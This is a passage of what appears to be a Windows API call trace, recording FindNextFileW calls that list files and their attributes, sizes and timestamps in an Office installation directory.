nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_K_COL.HXK", cAlternateFileName="POWERP~2.HXK")) returned 1 [0186.987] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7b75b6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7b75b6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x126048, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL", cAlternateFileName="")) returned 1 [0186.987] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4571e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEWTEMPLATE.POTX", cAlternateFileName="PREVIE~1.POT")) returned 1 [0186.988] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEWTEMPLATE2.POTX", cAlternateFileName="PREVIE~2.POT")) returned 1 [0186.988] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x472474e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x472474e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x472474e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRIMARY.CSS", cAlternateFileName="")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1cac944, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1cac944, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1cac944, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2cc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSL", cAlternateFileName="")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2577485, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x2577485, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2577485, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x5c61, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSSX", cAlternateFileName="PROPRP~1.VSS")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefbeab61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefbeab61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefc5d1a9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3068, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTOCOLHANDLERINTL.DLL", cAlternateFileName="PROTOC~1.DLL")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa369325, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.DOC", cAlternateFileName="")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa369325, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.PPT", cAlternateFileName="")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.XLS", cAlternateFileName="")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.DOC", cAlternateFileName="")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.PPT", cAlternateFileName="")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.XLS", cAlternateFileName="")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f777, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHKEY.DAT", cAlternateFileName="")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f3978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLEX.DAT", cAlternateFileName="")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa38f59d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa38f59d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3b57c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLTS.DAT", cAlternateFileName="")) returned 1 [0186.989] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa369325, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa369325, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa38f59d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHPHN.DAT", cAlternateFileName="")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa369325, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa369325, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa4c084e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa03a47, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHSRN.DAT", cAlternateFileName="")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc774d49, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc774d49, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde1fc09e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b3048, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL", cAlternateFileName="")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdc2b493, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdc2b493, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdc2b493, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCOLOR.SCM", cAlternateFileName="")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBFTSCM", cAlternateFileName="")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf46b8986, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf46b8986, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRYINT32.DLL", cAlternateFileName="")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickStyles", cAlternateFileName="QUICKS~1")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x514d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Review.xsn", cAlternateFileName="REVIEW~2.XSN")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x474a99c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x474a99c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x474a99c, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROSE.CSS", cAlternateFileName="")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1702fda, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1702fda, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1729263, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xe050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.VSL", cAlternateFileName="")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20e1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG.HXS", cAlternateFileName="")) returned 1 [0186.990] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_COL.HXC", cAlternateFileName="SETLAN~1.HXC")) returned 1 [0186.991] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_COL.HXT", cAlternateFileName="SETLAN~1.HXT")) returned 1 [0186.991] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_F_COL.HXK", cAlternateFileName="SETLAN~2.HXK")) returned 1 [0186.991] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_K_COL.HXK", cAlternateFileName="SETLAN~1.HXK")) returned 1 [0186.991] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2e8e3f2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x2e8e3f2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x474a99c, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL", cAlternateFileName="")) returned 1 [0186.994] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x332cc84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x332cc84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x332cc84, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xc4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAPNUM.VSL", cAlternateFileName="")) returned 1 [0186.994] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x474a99c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x474a99c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x474a99c, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.CSS", cAlternateFileName="")) returned 1 [0186.994] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe50d9a48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe50d9a48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1efdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB.HXS", cAlternateFileName="")) returned 1 [0186.994] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef93c032, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef93c032, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ea22, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_BASIC.HXS", cAlternateFileName="SKYPEF~1.HXS")) returned 1 [0186.994] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_BASIC_COL.HXC", cAlternateFileName="SKYPEF~2.HXC")) returned 1 [0186.994] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_BASIC_COL.HXT", cAlternateFileName="SKYPEF~2.HXT")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_BASIC_F_COL.HXK", cAlternateFileName="SKYPEF~2.HXK")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_BASIC_K_COL.HXK", cAlternateFileName="SKYPEF~3.HXK")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_COL.HXC", cAlternateFileName="SKYPEF~1.HXC")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_COL.HXT", cAlternateFileName="SKYPEF~1.HXT")) returned 1 [0186.995] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, 